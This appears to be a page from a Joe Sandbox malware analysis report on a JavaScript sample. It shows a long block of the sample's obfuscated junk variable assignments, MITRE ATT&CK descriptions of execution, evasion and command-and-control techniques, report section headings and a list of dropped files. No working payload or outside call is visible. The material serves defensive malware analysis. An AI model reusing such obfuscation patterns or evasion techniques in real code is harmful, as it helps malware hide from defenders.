531	qdcuvxc = "W";
532	qdcuvxc = "v";
533	qdcuvxc = "P";
534	qdcuvxc = "r";
535	qdcuvxc = "y";
536	qdcuvxc = "m";
537	qdcuvxc = "I";
538	qdcuvxc = "p";
539	qdcuvxc = "C";
540	qdcuvxc = "R";
541	qdcuvxc = "Z";
542	qdcuvxc = "c";
543	qdcuvxc = "D";
544	qdcuvxc = "M";
545	qdcuvxc = "r";
546	qdcuvxc = "c";
547	qdcuvxc = "l";
548	qdcuvxc = "E";
549	qdcuvxc = "N";
550	qdcuvxc = "A";
551	qdcuvxc = "P";
552	qdcuvxc = "E";
553	qdcuvxc = "Z";
554	qdcuvxc = "A";
555	qdcuvxc = "j";
556	qdcuvxc = "3";
557	swlgk = "M";
558	swlgk = "R";
559	swlgk = "q";
560	swlgk = "v";
561	swlgk = "o";
562	swlgk = "Y";
563	swlgk = "f";
564	swlgk = "Y";
565	swlgk = "z";
566	swlgk = "R";
567	swlgk = "T";
568	swlgk = "j";
569	swlgk = "x";
570	swlgk = "C";
571	swlgk = "x";
572	swlgk = "c";
573	swlgk = "r";
574	swlgk = "W";
575	swlgk = "x";
576	swlgk = "S";
577	swlgk = "s";
578	swlgk = "R";
579	swlgk = "h";
580	swlgk = "s";
581	swlgk = "v";
582	swlgk = "K";
583	swlgk = "Y";
584	swlgk = "z";
585	swlgk = "F";
586	swlgk = "b";
587	swlgk = "L";
588	swlgk = "P";
589	swlgk = "M";
590	swlgk = "B";
591	swlgk = "c";
592	swlgk = "Z";
593	swlgk = "b";
594	oczfp = "G";
595	oczfp = "v";
596	oczfp = "e";
597	oczfp = "s";
598	oczfp = "D";
599	oczfp = "f";
600	oczfp = "t";
601	oczfp = "Z";
602	oczfp = "m";
603	oczfp = "V";
604	oczfp = "q";
605	oczfp = "Z";
606	oczfp = "t";
607	oczfp = "W";
608	oczfp = "U";
609	oczfp = "g";
610	oczfp = "u";
611	oczfp = "e";
612	oczfp = "n";
613	oczfp = "R";
614	oczfp = "f";
615	oczfp = "G";
616	oczfp = "A";
617	oczfp = "y";
618	oczfp = "t";
619	oczfp = "s";
620	oczfp = "a";
621	oczfp = "N";
622	oczfp = "S";
623	iqzpi = "F";
624	iqzpi = "W";
625	iqzpi = "P";
626	iqzpi = "j";
627	iqzpi = "x";
628	iqzpi = "P";
629	iqzpi = "f";
630	iqzpi = "q";
631	aeubcbw = "M";
632	aeubcbw = "f";
633	aeubcbw = "Q";
634	aeubcbw = "r";
635	aeubcbw = "u";
636	aeubcbw = "D";
637	aeubcbw = "L";
638	aeubcbw = "E";
639	aeubcbw = "i";
640	aeubcbw = "z";
641	aeubcbw = "R";
642	aeubcbw = "v";
643	aeubcbw = "w";
644	aeubcbw = "e";
645	aeubcbw = "s";
646	aeubcbw = "I";
647	szwblzz = "k";
648	szwblzz = "P";
649	szwblzz = "o";
650	szwblzz = "O";
651	szwblzz = "F";
652	szwblzz = "w";
653	szwblzz = "F";
654	szwblzz = "C";
655	szwblzz = "g";
656	szwblzz = "p";
657	szwblzz = "t";
658	szwblzz = "d";
659	mwkaqlmm = "Z";
660	mwkaqlmm = "y";
661	mwkaqlmm = "U";
662	mwkaqlmm = "C";
663	mwkaqlmm = "t";
664	mwkaqlmm = "I";
665	mwkaqlmm = "j";
666	mwkaqlmm = "B";
667	mwkaqlmm = "D";
668	mwkaqlmm = "u";
669	mwkaqlmm = "N";
670	wjcjysqoy = "x";
671	wjcjysqoy = "w";
672	wjcjysqoy = "P";
673	wjcjysqoy = "k";
674	wulte = "d";
675	wulte = "d";
676	wulte = "J";
677	wulte = "F";
678	wulte = "Q";
679	wulte = "n";
680	wulte = "k";
681	wulte = "S";
682	wulte = "b";
683	wulte = "d";
684	wulte = "M";
685	wulte = "g";
686	wulte = "S";
687	wulte = "q";
688	wulte = "D";
689	wulte = "U";
690	wulte = "h";
691	wulte = "X";
692	wulte = "Y";
693	wulte = "q";
694	wulte = "g";
695	wulte = "j";
696	wulte = "k";
697	wulte = "u";
698	wulte = "E";
699	wulte = "o";
700	wulte = "s";
701	wulte = "q";
702	wulte = "T";
703	wulte = "G";
704	wulte = "I";
705	wulte = "t";
706	wulte = "t";
707	wulte = "P";
708	wulte = "F";
709	wulte = "6";
710	jwaum = "j";
711	jwaum = "S";
712	jwaum = "P";
713	jwaum = "y";
714	jwaum = "p";
715	jwaum = "C";
716	jwaum = "d";
717	jwaum = "Z";
718	jwaum = "p";
719	jwaum = "M";
720	jwaum = "k";
721	jwaum = "T";
722	hidtnxi = "A";
723	hidtnxi = "f";
724	hidtnxi = "I";
725	hidtnxi = "j";
726	hidtnxi = "h";
727	hidtnxi = "G";
728	hidtnxi = "g";
729	hidtnxi = "Y";
730	hidtnxi = "q";
731	hidtnxi = "H";
732	hidtnxi = "J";
733	hidtnxi = "c";
734	hidtnxi = "H";
735	hidtnxi = "T";
736	hidtnxi = "Z";
737	hidtnxi = "c";
738	hidtnxi = "x";
739	hidtnxi = "u";
740	hidtnxi = "H";
741	iypkzd = "o";
742	iypkzd = "x";
743	iypkzd = "e";
744	iypkzd = "I";
745	iypkzd = "c";
746	iypkzd = "O";
747	iypkzd = "l";
748	iypkzd = "r";
749	iypkzd = "A";
750	iypkzd = "g";
751	iypkzd = "M";
752	iypkzd = "g";
753	iypkzd = "o";
754	iypkzd = "v";
755	iypkzd = "p";
756	iypkzd = "L";
757	iypkzd = "U";
758	iypkzd = "F";
759	iypkzd = "x";
760	iypkzd = "D";
761	iypkzd = "g";
762	iypkzd = "H";
763	iypkzd = "A";
764	iypkzd = "U";
765	iypkzd = "m";
766	iypkzd = "v";
767	iypkzd = "z";
768	iypkzd = "n";
769	iypkzd = "N";
770	iypkzd = "i";
771	iypkzd = "A";
772	iypkzd = "J";
773	iypkzd = "S";
774	iypkzd = "Z";
775	iypkzd = "/";
776	wcmuu = "e";
777	wcmuu = "W";
778	wcmuu = "h";
779	wcmuu = "X";
780	wcmuu = "s";
781	wcmuu = "a";
782	wcmuu = "z";
783	wcmuu = "m";
784	wcmuu = "k";
785	wcmuu = "e";
786	wcmuu = "v";
787	wcmuu = "R";
788	wcmuu = "e";
789	wcmuu = "0";
790	ycjolzgir = "e";
791	ycjolzgir = "y";
792	ycjolzgir = "i";
793	zmhzn = "R";
794	zmhzn = "K";
795	vyjmjtmq = "f";
796	vyjmjtmq = "o";
797	vyjmjtmq = "s";
798	vyjmjtmq = "E";
799	vyjmjtmq = "S";
800	vyjmjtmq = "o";
801	vyjmjtmq = "O";
802	vyjmjtmq = "a";
803	vyjmjtmq = "R";
804	vyjmjtmq = "o";
805	vyjmjtmq = "F";
806	vyjmjtmq = "F";
807	vyjmjtmq = "x";
808	vyjmjtmq = "y";
809	vyjmjtmq = "L";
810	vyjmjtmq = " ";
811	dtvska = "Z";
812	dtvska = "e";
813	dtvska = "D";
814	dtvska = "H";
815	dtvska = "J";
816	dtvska = "x";
817	dtvska = "n";
818	dtvska = "g";
819	dtvska = "m";
820	dtvska = "L";
821	dtvska = "b";
822	dtvska = "H";
823	dtvska = "J";
824	dtvska = "W";
825	dtvska = "c";
826	dtvska = "D";
827	dtvska = "K";
828	dtvska = "A";
829	dtvska = "U";
830	dtvska = "Q";
831	dtvska = "n";
832	dtvska = "s";
833	dtvska = "H";
834	dtvska = "Y";
835	dtvska = "o";
836	dtvska = "e";
837	dtvska = "R";
838	dtvska = "o";
839	dtvska = "q";
840	dtvska = "o";
841	frotjsuxj = "F";
842	frotjsuxj = "f";
843	frotjsuxj = "H";
844	frotjsuxj = "o";
845	frotjsuxj = "B";
846	frotjsuxj = "s";
847	frotjsuxj = "g";
848	numcorr = "Z";
849	numcorr = "x";
850	numcorr = "j";
851	numcorr = "c";
852	numcorr = "H";
853	numcorr = "H";
854	numcorr = "Z";
855	numcorr = "X";
856	numcorr = "n";
857	numcorr = "L";
858	numcorr = "Y";
859	numcorr = "G";
860	numcorr = "u";
861	numcorr = "R";
862	numcorr = "F";
863	numcorr = "C";
864	numcorr = "C";
865	numcorr = "H";
866	numcorr = "q";
867	numcorr = "I";
868	numcorr = "B";
869	numcorr = "e";
870	numcorr = "u";
871	numcorr = "m";
872	numcorr = "t";
873	numcorr = "b";
874	numcorr = "J";
875	numcorr = "C";
876	numcorr = "n";
877	numcorr = "-";
878	qvjaqwsn = "O";
879	qvjaqwsn = "d";
880	qvjaqwsn = "d";
881	qvjaqwsn = "O";
882	qvjaqwsn = "d";
883	qvjaqwsn = "r";
884	qvjaqwsn = "P";
885	qvjaqwsn = "u";
886	qvjaqwsn = "p";
887	qvjaqwsn = "Y";
888	qvjaqwsn = "Q";
889	qvjaqwsn = "O";
890	qvjaqwsn = "M";
891	qvjaqwsn = "S";
892	qvjaqwsn = "q";
893	qvjaqwsn = "n";
894	qvjaqwsn = "v";
895	qvjaqwsn = "K";
896	qvjaqwsn = "j";
897	qvjaqwsn = "v";
898	qvjaqwsn = "J";
899	qvjaqwsn = "J";
900	qvjaqwsn = "b";
901	qvjaqwsn = "q";
902	qvjaqwsn = "W";
903	uarbdaehw = "C";
904	uarbdaehw = "R";
905	uarbdaehw = "q";
906	uarbdaehw = "m";
907	uarbdaehw = "X";
908	uarbdaehw = "s";
909	uarbdaehw = "O";
910	uarbdaehw = "Q";
911	uarbdaehw = "D";
912	uarbdaehw = "Q";
913	uarbdaehw = "W";
914	uarbdaehw = "j";
915	uarbdaehw = "E";
916	uarbdaehw = "C";
917	uarbdaehw = "a";
918	uarbdaehw = "W";
919	uarbdaehw = "Z";
920	uarbdaehw = "V";
921	uarbdaehw = "U";
922	uarbdaehw = "W";
923	uarbdaehw = "f";
924	uarbdaehw = "X";
925	uarbdaehw = "t";
926	uarbdaehw = "o";
927	uarbdaehw = "Z";
928	uarbdaehw = "J";
929	uarbdaehw = "w";
930	uarbdaehw = "p";
931	uarbdaehw = "U";
932	uarbdaehw = "Y";
933	uarbdaehw = "2";
934	luwywd = "J";
935	luwywd = "e";
936	luwywd = "w";
937	luwywd = "j";
938	luwywd = "O";
939	luwywd = "P";
940	luwywd = "Y";
941	luwywd = "N";
942	luwywd = "O";
943	luwywd = "q";
944	luwywd = "A";
945	luwywd = "L";
946	luwywd = "q";
947	luwywd = "F";
948	luwywd = "V";
949	luwywd = "O";
950	luwywd = "g";
951	luwywd = "K";
952	luwywd = "Y";
953	xmkxkuhgw = "P";
954	xmkxkuhgw = "V";
955	xmkxkuhgw = "Y";
956	xmkxkuhgw = "I";
957	xmkxkuhgw = "B";
958	xmkxkuhgw = "p";
959	xmkxkuhgw = "m";
960	xmkxkuhgw = "C";
961	xmkxkuhgw = "r";
962	xmkxkuhgw = "C";
963	xmkxkuhgw = "m";
964	xmkxkuhgw = "p";
965	xmkxkuhgw = "S";
966	xmkxkuhgw = "V";
967	xmkxkuhgw = "f";
968	xmkxkuhgw = "d";
969	xmkxkuhgw = "k";
970	xmkxkuhgw = "Z";
971	xmkxkuhgw = "S";
972	xmkxkuhgw = "o";
973	xmkxkuhgw = "X";
974	xmkxkuhgw = "u";
975	xmkxkuhgw = "x";
976	xmkxkuhgw = "M";
977	xmkxkuhgw = "D";
978	xmkxkuhgw = "&";
979	ycfecvt = "A";
980	ycfecvt = "M";
981	ycfecvt = "C";
982	ycfecvt = "I";
983	ycfecvt = "w";
984	ycfecvt = "R";
985	ycfecvt = "y";
986	ycfecvt = "n";
987	ycfecvt = "I";
988	ycfecvt = "k";
989	ycfecvt = "Z";
990	ycfecvt = "V";
991	ycfecvt = "G";
992	ycfecvt = "I";
993	ycfecvt = "M";
994	ycfecvt = "a";
995	ycfecvt = "B";
996	ycfecvt = "Z";
997	ycfecvt = "J";
998	ycfecvt = "d";
999	ycfecvt = "J";
1000	ycfecvt = "W";
1001	ycfecvt = "n";
1002	rabeebkix = "e";
1003	rabeebkix = "v";
1004	rabeebkix = "L";
1005	rabeebkix = "O";
1006	rabeebkix = "f";
1007	rabeebkix = "p";
1008	rabeebkix = "r";
1009	rabeebkix = "E";
1010	rabeebkix = "f";
1011	rabeebkix = "X";
1012	rabeebkix = "O";
1013	nhhqb = "T";
1014	nhhqb = "t";
1015	nhhqb = "C";
1016	nhhqb = "C";
1017	nhhqb = "o";
1018	nhhqb = "n";
1019	nhhqb = "U";
1020	nhhqb = "R";
1021	nhhqb = "B";
1022	nhhqb = "s";
1023	nhhqb = "M";
1024	nhhqb = "Q";
1025	kbkgnh = "W";
1026	kbkgnh = "s";
1027	kbkgnh = "Z";
1028	kbkgnh = "g";
1029	kbkgnh = "s";
1030	kbkgnh = "H";
1031	kbkgnh = "s";
1032	kbkgnh = "W";
1033	kbkgnh = "h";
1034	kbkgnh = "a";
1035	kbkgnh = "D";
1036	kbkgnh = "q";
1037	kbkgnh = "y";
1038	kbkgnh = "P";
1039	kbkgnh = "h";
1040	kbkgnh = "w";
1041	kbkgnh = "l";
1042	kbkgnh = "o";
1043	kbkgnh = "M";
1044	kbkgnh = "Q";
1045	kbkgnh = "D";
1046	kbkgnh = "a";
1047	kbkgnh = "R";
1048	kbkgnh = "L";
1049	kbkgnh = "J";
1050	kbkgnh = "Z";
1051	kbkgnh = "U";
1052	kbkgnh = "G";
1053	kbkgnh = "U";
1054	kbkgnh = "z";
1055	kbkgnh = "C";
1056	kbkgnh = "M";
1057	kbkgnh = "B";
1058	kbkgnh = "T";
1059	kbkgnh = "m";
1060	kbkgnh = "R";
1061	efaeofnus = "F";
1062	efaeofnus = "k";
1063	efaeofnus = "I";
1064	efaeofnus = "k";
1065	efaeofnus = "B";
1066	efaeofnus = "B";
1067	efaeofnus = "N";
1068	efaeofnus = "I";
1069	efaeofnus = "R";
1070	efaeofnus = "T";
1071	efaeofnus = "X";
1072	efaeofnus = "W";
1073	efaeofnus = "@";
1074	qiftjqyhu = "V";
1075	qiftjqyhu = "p";
1076	qiftjqyhu = "z";
1077	qiftjqyhu = "m";
1078	qiftjqyhu = "r";
1079	qiftjqyhu = "z";
1080	qiftjqyhu = "E";
1081	qiftjqyhu = "J";
1082	qiftjqyhu = "s";
1083	qiftjqyhu = "c";
1084	qiftjqyhu = "u";
1085	qiftjqyhu = "u";
1086	qiftjqyhu = "J";
1087	qiftjqyhu = "R";
1088	qiftjqyhu = "T";
1089	qiftjqyhu = "p";
1090	ntjbmep = "F";
1091	ntjbmep = "K";
1092	ntjbmep = "M";
1093	ntjbmep = "f";
1094	ntjbmep = "H";
1095	ntjbmep = "T";
1096	ntjbmep = "y";
1097	ntjbmep = "Z";
1098	ntjbmep = "h";
1099	ntjbmep = "M";
1100	ntjbmep = "J";
1101	ntjbmep = "p";
1102	ntjbmep = "u";
1103	ntjbmep = "S";
1104	ntjbmep = "t";
1105	ntjbmep = "G";
1106	ntjbmep = "8";
1107	dvqowo = "i";
1108	dvqowo = "O";
1109	dvqowo = "B";
1110	dvqowo = "w";
1111	dvqowo = "X";
1112	dvqowo = "M";
1113	dvqowo = "y";
1114	dvqowo = "A";
1115	dvqowo = "n";
1116	dvqowo = "k";
1117	dvqowo = ".";
1118	jpqoau = "l";
1119	jpqoau = "D";
1120	jpqoau = "x";
1121	jpqoau = "A";
1122	jpqoau = "I";
1123	jpqoau = "y";
1124	jpqoau = "D";
1125	jpqoau = "z";
1126	jpqoau = "H";
1127	jpqoau = "F";
1128	jpqoau = "d";
1129	jpqoau = "U";
1130	jpqoau = "v";
1131	jpqoau = "X";
1132	jpqoau = "D";
1133	jpqoau = "K";
1134	jpqoau = "J";
1135	jpqoau = "g";
1136	jpqoau = "V";
1137	jpqoau = "v";
1138	jpqoau = "x";
1139	jpqoau = "a";
1140	jpqoau = "z";
1141	jpqoau = "K";
1142	jpqoau = "P";
1143	jpqoau = "Q";
1144	jpqoau = "x";
1145	jpqoau = "\\";
1146	qjzbgov = "y";
1147	qjzbgov = "z";
1148	qjzbgov = "q";
1149	qjzbgov = "s";
1150	qjzbgov = "h";
1151	qjzbgov = "w";
1152	qjzbgov = "X";
1153	qjzbgov = "e";
1154	qjzbgov = "H";
1155	qjzbgov = "n";
1156	qjzbgov = "f";
1157	qjzbgov = "r";
1158	qjzbgov = "P";
1159	qjzbgov = "N";
1160	qjzbgov = "n";
1161	qjzbgov = "F";
1162	qjzbgov = "Z";
1163	qjzbgov = "B";
1164	qjzbgov = "g";
1165	qjzbgov = "s";
1166	qjzbgov = "b";
1167	qjzbgov = "x";
1168	qjzbgov = "D";
1169	qjzbgov = "a";
1170	qjzbgov = "e";
1171	qjzbgov = "q";
1172	qjzbgov = "p";
1173	qjzbgov = "o";
1174	qjzbgov = "V";
1175	qjzbgov = "J";
1176	qjzbgov = "F";
1177	qjzbgov = "d";
1178	qjzbgov = "C";
1179	qjzbgov = "T";
1180	qjzbgov = "C";
1181	qjzbgov = "t";
1182	qjzbgov = "d";
1183	qjzbgov = "F";
1184	qjzbgov = "P";
1185	qvfowe = "R";
1186	qvfowe = "M";
1187	qvfowe = "l";
1188	qvfowe = "W";
1189	qvfowe = "v";
1190	qvfowe = "Z";
1191	qvfowe = "q";
1192	qvfowe = "C";
1193	qvfowe = "T";
1194	qvfowe = "O";
1195	qvfowe = "P";
1196	qvfowe = "R";
1197	qvfowe = "n";
1198	qvfowe = "J";
1199	qvfowe = "r";
1200	qvfowe = "u";
1201	qvfowe = "G";
1202	qvfowe = "J";
1203	qvfowe = "k";
1204	qvfowe = "I";
1205	qvfowe = "Y";
1206	qvfowe = "O";
1207	qvfowe = "e";
1208	qvfowe = "Y";
1209	qvfowe = "E";
1210	qvfowe = "G";
1211	qvfowe = "w";
1212	qvfowe = "R";
1213	qvfowe = "Q";
1214	qvfowe = "M";
1215	qvfowe = "B";
1216	qvfowe = "R";
1217	qvfowe = "A";
1218	qvfowe = "u";
1219	qvfowe = "s";
1220	qvfowe = "w";
1221	cxanrn = "e";
1222	cxanrn = "N";
1223	cxanrn = "B";
1224	cxanrn = "P";
1225	cxanrn = "v";
1226	cxanrn = "t";
1227	cxanrn = "j";
1228	cxanrn = "F";
1229	cxanrn = "l";
1230	cxanrn = "H";
1231	cxanrn = "n";
1232	cxanrn = "c";
1233	cxanrn = "N";
1234	cxanrn = "t";
1235	cxanrn = "t";
1236	cxanrn = "s";
1237	cxanrn = "b";
1238	cxanrn = "N";
1239	cxanrn = "b";
1240	cxanrn = "f";
1241	cxanrn = "c";
1242	cxanrn = "u";
1243	cxanrn = "G";
1244	cxanrn = "y";
1245	cxanrn = "V";
1246	cxanrn = "J";
1247	cxanrn = "T";
1248	cxanrn = "V";
1249	cxanrn = "n";
1250	cxanrn = "b";
1251	cxanrn = "D";
1252	cxanrn = "W";
1253	cxanrn = "X";
1254	cxanrn = "S";
1255	cxanrn = "d";
1256	cxanrn = "d";
1257	cxanrn = "S";
1258	cxanrn = "x";
1259	jehtwi ( );	jehtwi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3000822141700718957.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ebfed21-8595-4a08-98b7-fde29e510698.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

